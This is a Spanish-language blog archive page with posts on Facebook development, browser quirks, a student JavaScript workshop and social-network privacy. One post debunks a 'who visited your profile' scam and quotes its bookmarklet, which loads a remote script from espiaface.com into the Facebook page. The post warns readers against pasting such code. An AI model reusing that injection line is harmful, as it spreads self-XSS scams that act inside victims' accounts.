Author Archives: Luis Carlos Cárdenas - Paginas 2

Hacer algo diferente: Desarrollar RIA’s y Aplicaciones Moviles.

Rompiendo un poco la temática despueés de los últimos posts publicados en este blog, con tanto javascript y redes sociales, aunque bueno esta entrada seguirá hablando sobre redes sociales, pero visto desde otro aspecto. Como saben, Faxterol es un emprendimiento personal, del cual tengo fé que crecerá y se desarrollara hasta convertirse en una empresa, pero vamos por partes. Ultimamente, me he sentido algo monotono, programando en la escuela y en mi casa con Java para hacer mis tareas de la escuela, y programando para web en el trabajo se ha vuelto el pan de cada día. Me motiva programar para web, me gusta programar en Java, pero ultimamente he querido hacer algo diferente. Desarrollar aplicaciones RIA’s y para Moviles, pero el trabajo y la escuela me tienen tan absorbido que no me he dedicado tiempo para hacerlo, inclusive tengo algunos proyectos personales pendientes que quiero sacar.

En los últimos meses, me he aventurado a hacer algúnas cositas en Adobe AIR con Javascript, pero la documentación no es muy rica o será que no la estoy buscando bien, así que esta semana, para aumentar el grado de dificultad, he querido hacer una aplicación en Adobe AIR pero que utilice el API de Facebook. Mi suerte fue nula, pues no pude hacer conexión con javascript, así que me puse a indagar un poco y descubrí Flash Builder. Este programa que viene dentro de la Adobe Creative Suite Web Premium, es un programa basado en Eclipse en el cual puedes desarrollar aplicaciones RIA’s para web y escritorio utilizando Flash. Valla, yo lo reconozco como “el flash de los programadores/desarrolladores”, pues Flash Professional es para hacer animaciones. Con Flash Builder fue satifactoria la conexión con Facebook Platform, sin embargo no conozco muy bien los componentes, lo identifiqué mucho con Netbeans, que si bien este es para Java. Con respecto a las aplicaciones moviles, con Adobe AIR también puedo hacer aplicaciones para moviles, sin embargo solo se ejecutaría en Android ya que iOS no tiene soporte para Adobe AIR (valla, ni para Flash). El año pasado tomé dos talleres, uno para desarrollar aplicaciones para iOS y otro para Android, pero no me fué suficiente el tiempo para captar todo lo que hicimos. Como lo dije anteriormente, hay que ir paso por paso, y creo que el primer paso son las RIA´s y despues las Aplicaciones Moviles.

Si alguien tiene algún manual de Flash Builder, se lo agradecería mucho compartirlo o comentar donde lo puedo encontrar.

Imagen vía: todocelular.es

Has llegado a este artículo buscando:

Ahora puedes compartir: Send Button de Facebook

Cuando vi el lanzamiento del boton Like de Facebook en el F8, supe que ese dia el mundo cambiaría, y valla que Facebook ha cambiado el estilo de vida y la forma en que se viven las redes sociales en la red. Acabo de leer recientemente el blog de desarrolladores de Facebook que han lanzado un nuevo boton, que si bien es parecido en la implementacion que se hace con el boton de Like, pero ahora un poco más privado.

Este boton se inserta en los contenidos que se quieren compartir, para despues desplegar una ventana seleccionando a los usuarios que quieres compartirlo, el enlace del contenido que se comparte y un mensaje del usuario. Puedes combinarlo y la forma de insertar este boton es con el lenguaje de marcación XFBML, con el mismo tag del fb:like, solo añadiendo un el atributo send con valor true, o con su tag fb:send.

Es decir:

  1. <div id="fb-root"></div>
  2.  
  3. <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  4.  
  5. <fb:like href="example.com" show_faces="true" width="450" send="true">
  6.  
  7. </fb:like>
  1. <div id="fb-root"></div>
  2.  
  3. <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  4.  
  5. <fb:send href="example.com"></fb:send>

También puedes solicitar los datos con el OpenGraph API.

Referencias:

Developer Blog Facebook
Documentación del Plugin Social Send Button
– Facebook Developers

Has llegado a este artículo buscando:

Una gran falsedad: Saber quien visitó tu perfil de Facebook

Gracias a mi experiencia como desarrollador web, he podido darme cuenta a tiempo de algunas falsedades que circulan en el Facebook, como por ejemplo, saber quien visitó tu perfíl. Si bien, hay formas de acceder a la información del usuario y hacer algunas acciones como publicar en su muro, pero únicamente por medio de su API. Sin embargo, gente con demasiado tiempo libre con ganas de molestar se ha aprovechado de la inocencia de los usuarios para hacer este tipo de dagas.

Hoy, en mi perfil de facebook me he topado con invitación a un evento que no existe pero que cita a un sitio llamado espiaface.com. Este sitio te proporciona un “manual” para instalar una aplicación y saber quién visitó tu perfil, pero la única forma de hacer eso es:

  • Que Facebook desarrolle un módulo que haga dicha funcionalidad
  • Que Facebook permita al menos insertar una imagen o un código que pueda llamar a una aplicación que utilice el API de Facebook y nos notifique.

Pero como ninguna de los dos existe, pues no hay forma de saber quien visitó tu perfil. Pero si tu eres un usuario que ya cayó en dicha falsedad, no te preocupes ya que “el programita” funciona así:.

Al pedirte que entres al facebook y pongas el siguiente código:

  1. javascript:(a=(b=document).createElement('script')).src='//app.espiaface.com/app.js?'+Math.random(),b.body.appendChild(a);void(0)

Estas ejecutando código Javascript dentro de Facebook, este código es el siguiente: (es muy extenso, así que puedes verlo). Este código te simula una muestra de quien visitó tu perfil y cuantas veces, claro estos parámetros son falsos y toma usuarios al azar. Después te crea un evento para saber quien visitó tu perfil, así mismo te dice que la aplicación está iniciando, cosa que no es cierto. En pocas palabras no se instala ninguna aplicación, solo es un programita que se ejecuta una sola vez por ti.

Sé que no le entiendes al codigo de la linea anterior, pero gracias a una herramienta que se llama JSBeautifier, que te permite comprimir, descomprimir, encriptar y desencriptar código fuente Javascript, entonces el siguiente codigo lo desencriptamos y tenemos el siguiente resultado.

Entonces estoy infectado por un virus o algún ovni controla mi computadora por escritorio remoto?

Bueno tampoco no exageremos, pero descuida, tu computadora no se infectó por algún virus y ningun ovni o entidad extraterrestre controla tu computadora, simplemente fue la ejecución durante un momento de un programa que sin darte cuenta permitiste que hiciera lo que hiso.

Solo hay una cosa a tomar a consideración: no hay ninguna aplicación que te diga exactamente quien visitó tu perfil (y si la hay, escriba un comentario donde la puedo encontrar) y no vuelvas a escribir nada que empiece con “javascript:” en tu barra de dirección del navegador. Estas personas conocen muy bien el funcionamiento de Facebook con Javascript

Espero haberte ayudado. Ahh cierto se me olvidaba, todo lo que hizo el programita tienes que eliminarlo manualmente. Tanto el evento como el mensaje en el muro.

Has llegado a este artículo buscando:

Internet Explorer y la coma de la muerte en Javascript

Ok, tál vez exageré mucho con ese atributo de la coma de la muerte, aunque para mi he de decir que si fue una pesadilla. Bueno les voy a relatar un poco. Desde el momento que decidí aprender Javascript, siempre quize aprender primeramente Javascript nativo, osea sin frameworks y después con ayuda de estos últimos. Mi experiencia con el nativo fue muy grato, aunque a la vez un poco frustrante, ya que cada rato tenía que estar escribiendo el famoso document.getElementById. Posteriormente y despues de tantas pruebas y jueguitos con javascript nativo, decidí que era hora de empezar a escribir codigo Javascript con frameworks, del cual estoy trabajando con jQuery, ya que hay mucha documentación, ejemplos y plugins que puedes usar con este framework.

Este framework, en algunas de sus funciones recibe como parámetro un objeto, o mejor dicho, una notación de objeto en javascript, valla un objeto JSON (Javascript Object Notation), en el cual es muy similiar a los arrays de PHP, en el cual pones el identificador, seguido de dos puntos ( : ) y despues su valor, y al ultimo una coma para separarlo de otra declaración de un identificador. Por ejemplo:

  1. {
  2. "Identificador" : "Valor",
  3. "otroid" : 123,
  4. "comoFuncion" : function(){ /* contenido */}
  5. }

Por algo lo llaman el hermano menor de Java, es muy parecido a la declaración de arreglos en Java, con la diferencia que sus identificadores son enteros con la posicion en que son declarados. Pero vallamos al hoyo donde estaba el clavo. Como les comenté, despues del valor se escribe una coma para separarlos, pero si en la ultima declaración le dejan una coma al final es donde empieza el apocalisis, ya que el codigo se ejecuta correctamente en firefox y los navegadores estandar, pero Internet Explorer no marca error, pero tampoco ejecuta el codigo. Ya hablando con codigo, quedaría así:

  1. {
  2. "Identificador" : "Valor",
  3. "otroid" : 123,
  4. "comoFuncion" : function(){ /* contenido */},
  5. }

Esto pude probarlo ahora en el taller que estuve impartiendo en la semana académica del tec, ya que ni en Internet Explorer 7 corría el código. ¿Error de Microsoft o de Mozilla?. No lo sé, pero para eso existen los estandares, aunque pienso que en Firefox y demás navegadores estandares no debería ejecutarse el código pero sí mostrar el error, para tener una buena costumbre como programadores. ¿Ustedes que piensan/opinan?

Referencia:

JSON – Wikipedia, la enciclopedia libre

Imagen vía: Maestros del Web

Has llegado a este artículo buscando:

Taller Javascript/AJAX en el ITTepic

Del 5 al 8 de Abril se realizará la Semana Academica del Instituto Tecnológico de Tepic, un evento en el cual todas las carreras suspenden clases (ujuss!!!) para ofrecer a los alumnos talleres y conferencias de diversos temas para cada carrera (más ujusss!!!!!). Anteriormente, cada carrera tenía su propia semana, ahora la administración de la institución ha tomado la iniciativa de que todas las carreras tengan su semana en una sola. En la carrera de Ingeniería en Sistemas Computacionales (como algunos ya saben que estudio esa carrera), se realizaba la Feria de Programación y Cultura, así cada carrera tenía su semana con su propio nombre.

Pues bien, este año, por motivos personales no podré asistir a las conferencias que son en la tarde, pero tomé la iniciativa de dar un taller. Este taller será de Javascript y AJAX. Será impartido todos los días que dure la semana academica con un horario de 9:00 a 13:00 hrs. Podrán participar alumnos y ex-alumnos de la institución, aún no se sabe si tambien abrirán para publico en general o lo dejarán solo para personas de la institución (alumnos, docentes, administrativos, etc). Tiene un costo de 100 pesos (baratisimo!) y podrán compartir la experiencia de aprender cosas nuevas.

Un saludo y espero verlos por ahí.

Has llegado a este artículo buscando:

El fin se acerca, IE6 Countdown.

Me levanto de mi silla y brindo un gran aplauso por Microsoft, que por fin está haciendo algo bueno con su ya desestandarizado, antiguo y obsoleto navegador en su versión 6, Internet Explorer.

Via Punto Geek me entero de que Microsoft ha lanzado un sitio llamado IE6 Countdown, que es un sitio en el cual se muestra información acerca de la erradicación de este software, considerado muchas veces como un virus. En México, la cuota del mercado de IE6 es de apenas el 3.5% del total, comparado con China que es del 34.5%, y valla sorpresa, Japón todavía tiene el 10.3% de la cuota del mercado de este mismo navegador, algo que me pone a pensar muy seriamente ya que este país es uno de los más vanguardistas en cuanto a tecnología se refiere, y tiene ese porcentaje de uso de una tecnología obsoleta.

Además, esta es una excelente noticia, ya que eso nos obligaba a los diseñadores y desarrolladores web tener que ofuscar, aplicar hacks e inclusive hasta reescribir nuestro código por que el viejo y caprichoso navegador no interpretaba correctamente las reglas CSS y Javascript. Ademas, tambien vía Punto Geek me entero de otra excelente noticia y que, pienso yo, va a terminar dandole jacke mate al navegador de Microsoft.

Es el futuro lanzamiento de Firefox 4, que trae consigo considerables mejoras en la interpretación de HTML5, Javascript y CSS3. Valla que ha sido un fin de semana de buenas noticias, yo en lo personal espero ver pronto la muerte de IE6.

Un gran saludo mis estimados lectores y comentaristas.

Enlaces:

IE6 Countdown
Microsoft lanza ie6countdown.com para terminar con IE6 – Punto Geek
Preparen los motores, se acerca Firefox 4 – Punto Geek

¿Quién tiene la culpa?

Controlar lo que publicas

Y seguimos con tandas de entradas sobre redes sociales, y no es que sea SME, pero me llama mucho la atención estos fenómenos sociales que se provocan en internet y las consecuencias que esto atrae. Primeramente contarles que por fin llegó mi libro que se llama Faceboom y estoy próximo a leerlo. Pero el origen de esta entrada es otra.

Hace poco, uno de mis amigos (pero amigo, no amigo de red social), que una de sus amigas se enojó con el y hasta se metió en problemas con su pareja. Y es que, según relata mi amigo (véase la forma en que me estoy reservando el derecho de publicar su nombre) fue etiquetado en una foto de su amiga un tanto comprometedora, bueno no soy exagerado, la chica mostraba su espalda baja. Lógicamente, el no estaba en la foto, solo fue etiquetado con la intención de que la foto sea vista, como muchas otras más en las que nos etiquetan y ni siquiera estamos en dicha foto. Mi amigo dejo su comentario, pero valla lio, al ver la pareja de ella el comentario, empezó a rematar contra algunos que ya habían comentado dicha fotografía. Para no hacer el cuento muy largo ella hablo con el y le dijo que no vuelva a postear comentarios, etc, etc, etc. Ustedes saben, pidiéndole que no la meta en problemas con su pareja.

Y aquí la pregunta. ¿De quién es la culpa de dicho problema?.  De mi amigo por su comentario, de ella por haber subido su foto y etiquetarlo o de Facebook por existir. Solo para reflexionar, tengan cuidado con lo que publican!.

Imagen vía: Monologos.com

Has llegado a este artículo buscando:

10 (de mis consejos) para proteger tu privacidad en las redes sociales.

Actualmente las redes sociales en internet juegan un papel muy importante en nuestra vida cotidiana, para la comunicación entre amigos y hasta conocer algunos nuevos. Sin embargo, a medida que las vamos usando vamos perdiendo nuestra privacidad, como niños pequeños no nos animamos a subir fotos o publicar algo, claro en un principio, pero poco a poco eso se va perdiendo hasta que lo volvemos algo incontrolable. Por eso les traigo 10 de mis consejos para proteger tu privacidad en las redes sociales según mi experiencia y el sentido común  no porque sea Social Media Expert y lo que me ha tocado ver y vivir.

1.- Ten cuidado a quien agregas.

Documentado esta que con una foto bonita ya aceptamos en nuestra lista de amigos a esa persona, ten cuidado al aceptar en tu lista de amigos a un desconocido. Revisa tus amigos en común o si alguna persona que sea amigo tuyo lo conoce, pídele referencias y hasta si es posible pregúntale porque te agrego y si es de confianza.

2.- Restringe tus datos.

Actualmente, en redes sociales como Facebook puedes restringir la visualización de ciertos datos, si en tu lista de amigos hay alguna persona de la que desconfías, no dudes en negarle el privilegio de ver tus datos, por seguridad. De igual manera, si vas a publicar un mensaje en específico para alguien, no solo con el tag es suficiente, su es posible configúrale para que solo esa persona vea dicho mensaje. No falta aquel tercero que meta mano a la conversación. Leer más »

Has llegado a este artículo buscando:

Redes sociales, nuestra conexión virtual.

La semana pasada, tuve la oportunidad de asistir a un panel/conferencia sobre redes sociales en el Instituto Tecnológico de Tepic. El panel se tornaba interesante al principio, pero en su mayoría la información difundida era algo que se encontraba en la blogosfera con gran facilidad, aun así estuvo divertida. Pero ahora vamos a hablar sobre el motivo de esta entrada. Lo que me sorprendió y me dejo muy claro, es que las redes sociales ya son parte de nosotros. Algunos compañeros (incluyéndome) revisando su facebook o su twitter desde su dispositivo móvil, unos otros hasta con su laptop prendida y su facebook abierto. En cierta manera, las redes sociales aunado con el auge de los dispositivos móviles que ya cuentan con conexión a internet, ya son parte de nosotros, pero no solo al momento de socializar, si no también en nuestro entorno laboral. Ya que recordemos que también existen redes sociales como lo es Linked In.

Otra cosa que también me llamo la atención, fue la pregunta de “¿Quién no esta en las redes sociales?”. Uno o dos compañeros levantaron la mano y de cierta forma, fueron vistos como las ovejas negras del grupo.Lo que si me dejo con un pequeño mal sabor de boca y que me hizo pensar que la información estaba incompleta incompleta, y estoy consciente de que esto es un mar de información, es que no se hablara sobre la fuga de información personal que se hace mediante el uso de aplicaciones de tercero y sobre los términos y condiciones de uso/términos de privacidad. Esta ultima pienso es una parte crucial al momento de hablar de redes sociales y la privacidad, ya que muchos usuarios lo único que hacen es aceptar y listo, registrarse; sin leer previamente la información contenida en dicho documento.

Me pregunto si ¿algún día viviremos sin contacto físico persona-persona?

La historia del #! (hash bang) que tanto intriga en las redes sociales.

Hace un par de dias, mientras esperaba mi desayuno en la loncheria leí un artículo acerca del ya famoso hash bag que tanto llama (o al menos a mi como desarrollador web) la atención en las URLs de algunas redes sociales tal como esta:

http://www.facebook.com/home.php?#!/pages/Faxterol-Web/116134141772310

Recientemente, Twitter en su actualización del #NuevoTwitter tambien lo ha estado implementando, pero hay algo que verdaderamente intriga, el por que el signo de admiración despues del hash (o llamado signo de gato en algunos lugares), pues aqui les va la información al respecto.

El hash es utilizado en los enlaces HTML para anclar cierta parte de un documento HTML extenso, sin embargo, en los últimos años y con el auge de la web 2.0 con aplicaciones hechas con AJAX, este hash se ha utilizado como hack en estas aplicaciones para indicarle a los rastreadores o robots indexadores de contenido de los buscadores para decirles que esta es una URL amigable, ese es el misterio que encierra el signo de admiración, ya que despues del #! esta la dirección del archivo de donde extrae el contenido para actualizar el documento actual y los robots acceden a ese archivo para indexar el contenido.

Se puede ver muy claramente al entrar a Facebook, por ejemplo: si ustedes copian la URL que está en la parte de arriba que les puse como demostración, contiene el hash-bang, cuando entren el hash-bang desaparecera redirigiendolos al documento que se encuentra posterior a este.  Ahora si que el  SEO y AJAX no estan peleados para nada, y con toda seguridad podemos hacer nuestra aplicación y ser indexada por los buscadores.

Además, Google tiene publicado esta especificación, la cual si les interesa pueden darse una leida. Espero que esta duda curiosa quede aclarada y sepan el por qué de ese tal hash-bang.

Solo como complemento, recuerden que para poder acceder al hash de la URL, es mediante Javascript con:

[JS]window.location.hash[/JS]

Un saludo!.

Visto en: DuperMag

Especificación de Google: Haciendo rastreables las aplicaciones AJAX (Making AJAX Applications Crawlable) [EN]

Has llegado a este artículo buscando: